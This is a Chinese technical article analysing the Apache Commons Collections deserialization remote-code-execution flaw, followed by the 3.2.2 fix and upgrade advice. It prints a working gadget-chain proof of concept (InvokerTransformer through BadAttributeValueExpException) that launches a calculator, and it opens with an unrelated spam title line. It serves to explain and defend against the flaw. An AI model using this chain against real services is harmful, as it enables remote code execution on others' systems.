自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

原來不只是fastjson,這個(gè)你每天都在用的類庫(kù)也被爆過反序列化漏洞!

安全 應(yīng)用安全
在《fastjson到底做錯(cuò)了什么?為什么會(huì)被頻繁爆出漏洞?》文章中,我從技術(shù)角度分析過為什么fastjson會(huì)被頻繁爆出一些安全漏洞,然后有人在評(píng)論區(qū)發(fā)表"說到底就是fastjson爛…"等言論,一般遇到這種評(píng)論我都是不想理的。

 [[333788]]

在《fastjson到底做錯(cuò)了什么?為什么會(huì)被頻繁爆出漏洞?》文章中,我從技術(shù)角度分析過為什么fastjson會(huì)被頻繁爆出一些安全漏洞,然后有人在評(píng)論區(qū)發(fā)表"說到底就是fastjson爛…"等言論,一般遇到這種評(píng)論我都是不想理的。

但是事后想想,這個(gè)事情還是要單獨(dú)說一下,因?yàn)檫@種想法很危險(xiǎn)。

一旦這位讀者有一天當(dāng)上了領(lǐng)導(dǎo),那么如果他負(fù)責(zé)的項(xiàng)目發(fā)生了漏洞,他還是站出來說"都怪XXX代碼寫的爛…",這其實(shí)是非常可怕的。

工作久了的話,就會(huì)慢慢有種感覺:代碼都是人寫的,是人寫的代碼就可能存在漏洞,這個(gè)是永遠(yuǎn)都無法避免的,任何牛X的程序員都不可能寫出完全沒有bug的代碼!

其實(shí)關(guān)于序列化的安全性問題,無論是Java原生的序列化技術(shù)還是很多其他的開源序列化工具,都曾經(jīng)發(fā)生過。

序列化的安全性,一直都是比較大的一個(gè)話題,我無意為fastjson辯駁,但是出問題之后直接噴代碼寫的爛,其實(shí)是有點(diǎn)不負(fù)責(zé)任的。

Apache-Commons-Collections這個(gè)框架,相信每一個(gè)Java程序員都不陌生,這是一個(gè)非常著名的開源框架。

但是,他其實(shí)也曾經(jīng)被爆出過序列化安全漏洞,而漏洞的表現(xiàn)和fastjson一樣,都是可以被遠(yuǎn)程執(zhí)行命令。

背景

Apache Commons是Apache軟件基金會(huì)的項(xiàng)目,Commons的目的是提供可重用的、解決各種實(shí)際的通用問題且開源的Java代碼。

Commons Collections包為Java標(biāo)準(zhǔn)的Collections API提供了相當(dāng)好的補(bǔ)充。在此基礎(chǔ)上對(duì)其常用的數(shù)據(jù)結(jié)構(gòu)操作進(jìn)行了很好的封裝、抽象和補(bǔ)充。讓我們?cè)陂_發(fā)應(yīng)用程序的過程中,既保證了性能,同時(shí)也能大大簡(jiǎn)化代碼。

Commons Collections的最新版是4.4,但是使用比較廣泛的還是3.x的版本。其實(shí),在3.2.1以下版本中,存在一個(gè)比較大的安全漏洞,可以被利用來進(jìn)行遠(yuǎn)程命令執(zhí)行。

這個(gè)漏洞在2015年第一次被披露出來,但是業(yè)內(nèi)一直稱稱這個(gè)漏洞為"2015年最被低估的漏洞"。

因?yàn)檫@個(gè)類庫(kù)的使用實(shí)在是太廣泛了,首當(dāng)其中的就是很多Java Web Server,這個(gè)漏洞在當(dāng)時(shí)橫掃了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

之后,Gabriel Lawrence和Chris Frohoff兩位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection實(shí)現(xiàn)任意代碼執(zhí)行。

問題復(fù)現(xiàn)

這個(gè)問題主要會(huì)發(fā)生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本進(jìn)行測(cè)試,JDK版本為Java 8。

利用Transformer攻擊

Commons Collections中提供了一個(gè)Transformer接口,主要是可以用來進(jìn)行類型轉(zhuǎn)換的,這個(gè)接口有一個(gè)實(shí)現(xiàn)類是和我們今天要介紹的漏洞有關(guān)的,那就是InvokerTransformer。

InvokerTransformer提供了一個(gè)transform方法,該方法核心代碼只有3行,主要作用就是通過反射對(duì)傳入的對(duì)象進(jìn)行實(shí)例化,然后執(zhí)行其iMethodName方法。

利用Transformer攻擊

Commons Collections中提供了一個(gè)Transformer接口,主要是可以用來進(jìn)行類型轉(zhuǎn)換的,這個(gè)接口有一個(gè)實(shí)現(xiàn)類是和我們今天要介紹的漏洞有關(guān)的,那就是InvokerTransformer。InvokerTransformer提供了一個(gè)transform方法,該方法核心代碼只有3行,主要作用就是通過反射對(duì)傳入的對(duì)象進(jìn)行實(shí)例化,然后執(zhí)行其iMethodName方法。

而需要調(diào)用的iMethodName和需要使用的參數(shù)iArgs其實(shí)都是InvokerTransformer類在實(shí)例化時(shí)設(shè)定進(jìn)來的,這個(gè)類的構(gòu)造函數(shù)如下:


也就是說,使用這個(gè)類,理論上可以執(zhí)行任何方法。那么,我們就可以利用這個(gè)類在Java中執(zhí)行外部命令。

我們知道,想要在Java中執(zhí)行外部命令,需要使用Runtime.getRuntime().exec(cmd)的形式,那么,我們就想辦法通過以上工具類實(shí)現(xiàn)這個(gè)功能。

首先,通過InvokerTransformer的構(gòu)造函數(shù)設(shè)置好我們要執(zhí)行的方法以及參數(shù):

  1. Transformer transformer = new InvokerTransformer("exec"
  2.  
  3.         new Class[] {String.class}, 
  4.  
  5.         new Object[] {"open /Applications/Calculator.app"}); 

通過,構(gòu)造函數(shù),我們?cè)O(shè)定方法名為exec,執(zhí)行的命令為open /Applications/Calculator.app,即打開mac電腦上面的計(jì)算器(windows下命令:C:\\Windows\\System32\\calc.exe)。

然后,通過InvokerTransformer實(shí)現(xiàn)對(duì)Runtime類的實(shí)例化:

  1. transformer.transform(Runtime.getRuntime()); 

運(yùn)行程序后,會(huì)執(zhí)行外部命令,打開電腦上的計(jì)算機(jī)程序:

至此,我們知道可以利用InvokerTransformer來調(diào)用外部命令了,那是不是只需要把一個(gè)我們自定義的InvokerTransformer序列化成字符串,然后再反序列化,接口實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行:


先將transformer對(duì)象序列化到文件中,再?gòu)奈募凶x取出來,并且執(zhí)行其transform方法,就實(shí)現(xiàn)了攻擊。

 

你以為這就完了?

但是,如果事情只有這么簡(jiǎn)單的話,那這個(gè)漏洞應(yīng)該早就被發(fā)現(xiàn)了。想要真的實(shí)現(xiàn)攻擊,那么還有幾件事要做。

因?yàn)?,newTransformer.transform(Runtime.getRuntime());這樣的代碼,不會(huì)有人真的在代碼中寫的。

如果沒有了這行代碼,還能實(shí)現(xiàn)執(zhí)行外部命令么?

這就要利用到Commons Collections中提供了另一個(gè)工具那就是ChainedTransformer,這個(gè)類是Transformer的實(shí)現(xiàn)類。

 

ChainedTransformer類提供了一個(gè)transform方法,他的功能遍歷他的iTransformers數(shù)組,然后依次調(diào)用其transform方法,并且每次都返回一個(gè)對(duì)象,并且這個(gè)對(duì)象可以作為下一次調(diào)用的參數(shù)。

那么,我們可以利用這個(gè)特性,來自己實(shí)現(xiàn)和transformer.transform(Runtime.getRuntime());同樣的功能:

  1.  Transformer[] transformers = new Transformer[] { 
  2.  
  3.     //通過內(nèi)置的ConstantTransformer來獲取Runtime類 
  4.  
  5.     new ConstantTransformer(Runtime.class), 
  6.  
  7.     //反射調(diào)用getMethod方法,然后getMethod方法再反射調(diào)用getRuntime方法,返回Runtime.getRuntime()方法 
  8.  
  9.     new InvokerTransformer("getMethod"
  10.  
  11.         new Class[] {String.class, Class[].class }, 
  12.  
  13.         new Object[] {"getRuntime", new Class[0] }), 
  14.  
  15.     //反射調(diào)用invoke方法,然后反射執(zhí)行Runtime.getRuntime()方法,返回Runtime實(shí)例化對(duì)象 
  16.  
  17.     new InvokerTransformer("invoke"
  18.  
  19.         new Class[] {Object.class, Object[].class }, 
  20.  
  21.         new Object[] {null, new Object[0] }), 
  22.  
  23.     //反射調(diào)用exec方法 
  24.  
  25.     new InvokerTransformer("exec"
  26.  
  27.         new Class[] {String.class }, 
  28.  
  29.         new Object[] {"open /Applications/Calculator.app"}) 
  30.  
  31. }; 
  32.  
  33.  
  34.  
  35. Transformer transformerChain = new ChainedTransformer(transformers); 

在拿到一個(gè)transformerChain之后,直接調(diào)用他的transform方法,傳入任何參數(shù)都可以,執(zhí)行之后,也可以實(shí)現(xiàn)打開本地計(jì)算器程序的功能:

那么,結(jié)合序列化,現(xiàn)在的攻擊更加進(jìn)了一步,不再需要一定要傳入newTransformer.transform(Runtime.getRuntime());這樣的代碼了,只要代碼中有transformer.transform()方法的調(diào)用即可,無論里面是什么參數(shù):

 

攻擊者不會(huì)滿足于此

但是,一般也不會(huì)有程序員會(huì)在代碼中寫這樣的代碼。那么,攻擊手段就需要更進(jìn)一步,真正做到"不需要程序員配合"。于是,攻擊者們發(fā)現(xiàn)了在Commons Collections中提供了一個(gè)LazyMap類,這個(gè)類的get會(huì)調(diào)用transform方法。(Commons Collections還真的是懂得黑客想什么呀。)

那么,現(xiàn)在的攻擊方向就是想辦法調(diào)用到LazyMap的get方法,并且把其中的factory設(shè)置成我們的序列化對(duì)象就行了。

順藤摸瓜,可以找到Commons Collections中的TiedMapEntry類的getValue方法會(huì)調(diào)用到LazyMap的get方法,而TiedMapEntry類的getValue又會(huì)被其中的toString()方法調(diào)用到。

  1. public String toString() { 
  2.  
  3.     return getKey() + "=" + getValue(); 
  4.  
  5.  
  6.  
  7.  
  8. public Object getValue() { 
  9.  
  10.     return map.get(key); 
  11.  

那么,現(xiàn)在的攻擊門檻就更低了一些,只要我們自己構(gòu)造一個(gè)TiedMapEntry,并且將他進(jìn)行序列化,這樣,只要有人拿到這個(gè)序列化之后的對(duì)象,調(diào)用他的toString方法的時(shí)候,就會(huì)自動(dòng)觸發(fā)bug。

Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

我們知道,toString會(huì)在很多時(shí)候被隱式調(diào)用,如輸出的時(shí)候(System.out.println(ois.readObject());),代碼示例如下:

現(xiàn)在,黑客只需要把自己構(gòu)造的TiedMapEntry的序列化后的內(nèi)容上傳給應(yīng)用程序,應(yīng)用程序在反序列化之后,如果調(diào)用了toString就會(huì)被攻擊。

 

只要反序列化,就會(huì)被攻擊

那么,有沒有什么辦法,讓代碼只要對(duì)我們準(zhǔn)備好的內(nèi)容進(jìn)行反序列化就會(huì)遭到攻擊呢?

倒還真的被發(fā)現(xiàn)了,只要滿足以下條件就行了:

那就是在某個(gè)類的readObject會(huì)調(diào)用到上面我們提到的LazyMap或者TiedMapEntry的相關(guān)方法就行了。因?yàn)镴ava反序列化的時(shí)候,會(huì)調(diào)用對(duì)象的readObject方法。

通過深入挖掘,黑客們找到了BadAttributeValueExpException、AnnotationInvocationHandler等類。這里拿BadAttributeValueExpException舉例

 

BadAttributeValueExpException類是Java中提供的一個(gè)異常類,他的readObject方法直接調(diào)用了toString方法:

那么,攻擊者只需要想辦法把TiedMapEntry的對(duì)象賦值給代碼中的valObj就行了。通過閱讀源碼,我們發(fā)現(xiàn),只要給BadAttributeValueExpException類中的成員變量val設(shè)置成一個(gè)TiedMapEntry類型的對(duì)象就行了。這就簡(jiǎn)單了,通過反射就能實(shí)現(xiàn):

  1. Transformer transformerChain = new ChainedTransformer(transformers); 
  2.  
  3.  
  4.  
  5. Map innerMap = new HashMap(); 
  6.  
  7. Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 
  8.  
  9. TiedMapEntry entry = new TiedMapEntry(lazyMap, "key"); 
  10.  
  11.  
  12.  
  13. BadAttributeValueExpException poc = new BadAttributeValueExpException(null); 
  14.  
  15.  
  16.  
  17. // val是私有變量,所以利用下面方法進(jìn)行賦值 
  18.  
  19. Field valfield = poc.getClass().getDeclaredField("val"); 
  20.  
  21. valfield.setAccessible(true); 
  22.  
  23. valfield.set(poc, entry); 

于是,這時(shí)候,攻擊就非常簡(jiǎn)單了,只需要把BadAttributeValueExpException對(duì)象序列化成字符串,只要這個(gè)字符串內(nèi)容被反序列化,那么就會(huì)被攻擊。

 

問題解決

以上,我們復(fù)現(xiàn)了這個(gè)Apache Commons Collections類庫(kù)帶來的一個(gè)和反序列化有關(guān)的遠(yuǎn)程代碼執(zhí)行漏洞。

通過這個(gè)漏洞的分析,我們可以發(fā)現(xiàn),只要有一個(gè)地方代碼寫的不夠嚴(yán)謹(jǐn),就可能會(huì)被攻擊者利用。

 

因?yàn)檫@個(gè)漏洞影響范圍很大,所以在被爆出來之后就被修復(fù)掉了,開發(fā)者只需要將Apache Commons Collections類庫(kù)升級(jí)到3.2.2版本,即可避免這個(gè)漏洞。

3.2.2版本對(duì)一些不安全的Java類的序列化支持增加了開關(guān),默認(rèn)為關(guān)閉狀態(tài)。涉及的類包括

  1. CloneTransformer 
  2.  
  3. ForClosure 
  4.  
  5. InstantiateFactory 
  6.  
  7. InstantiateTransformer 
  8.  
  9. InvokerTransformer 
  10.  
  11. PrototypeCloneFactory 
  12.  
  13. PrototypeSerializationFactory, 
  14.  
  15. WhileClosure 

如在InvokerTransformer類中,自己實(shí)現(xiàn)了和序列化有關(guān)的writeObject()和 readObject()方法:

在兩個(gè)方法中,進(jìn)行了序列化安全的相關(guān)校驗(yàn),校驗(yàn)實(shí)現(xiàn)代碼如下:

在序列化及反序列化過程中,會(huì)檢查對(duì)于一些不安全類的序列化支持是否是被禁用的,如果是禁用的,那么就會(huì)拋出UnsupportedOperationException,通過org.apache.commons.collections.enableUnsafeSerialization設(shè)置這個(gè)特性的開關(guān)。

 

將Apache Commons Collections升級(jí)到3.2.2以后,執(zhí)行文中示例代碼,將報(bào)錯(cuò)如下:

  1. Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources. 
  2.  
  3.     at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183) 
  4.  
  5.     at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155) 

后話

本文介紹了Apache Commons Collections的歷史版本中的一個(gè)反序列化漏洞。

如果你閱讀本文之后,能夠有以下思考,那么本文的目的就達(dá)到了:

1、代碼都是人寫的,有bug都是可以理解的

2、公共的基礎(chǔ)類庫(kù),一定要重點(diǎn)考慮安全性問題

3、在使用公共類庫(kù)的時(shí)候,要時(shí)刻關(guān)注其安全情況,一旦有漏洞爆出,要馬上升級(jí)

 

4、安全領(lǐng)域深不見底,攻擊者總能抽絲剝繭,一點(diǎn)點(diǎn)bug都可能被利用

參考資料:

https://commons.apache.org/proper/commons-collections/release_3_2_2.html

https://p0sec.net/index.php/archives/121/

https://www.freebuf.com/vuls/175252.html

https://kingx.me/commons-collections-java-deserialization.html

 

責(zé)任編輯:武曉燕 來源: 51CTO專欄
相關(guān)推薦

2016-09-21 00:15:27

2014-04-18 09:16:37

2018-07-06 10:56:24

2015-11-24 10:05:07

私有云虛擬化負(fù)載遷移

2015-02-04 09:45:40

2024-09-10 08:28:22

2021-10-20 07:18:50

Java 序列化漏洞

2022-08-06 08:41:18

序列化反序列化Hessian

2017-03-25 21:13:38

JavaScript排序

2011-06-01 15:05:02

序列化反序列化

2018-03-19 10:20:23

Java序列化反序列化

2018-11-12 13:53:07

組件化架構(gòu)路由

2010-08-05 09:29:08

jQuery

2011-04-28 20:21:44

和信創(chuàng)天終端管理虛擬終端管理系統(tǒng)

2013-04-25 13:58:15

編程

2009-08-24 17:14:08

C#序列化

2023-02-14 06:40:33

React HookReact

2015-08-17 15:35:42

2017-05-04 09:30:29

2009-06-14 22:01:27

Java對(duì)象序列化反序列化
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)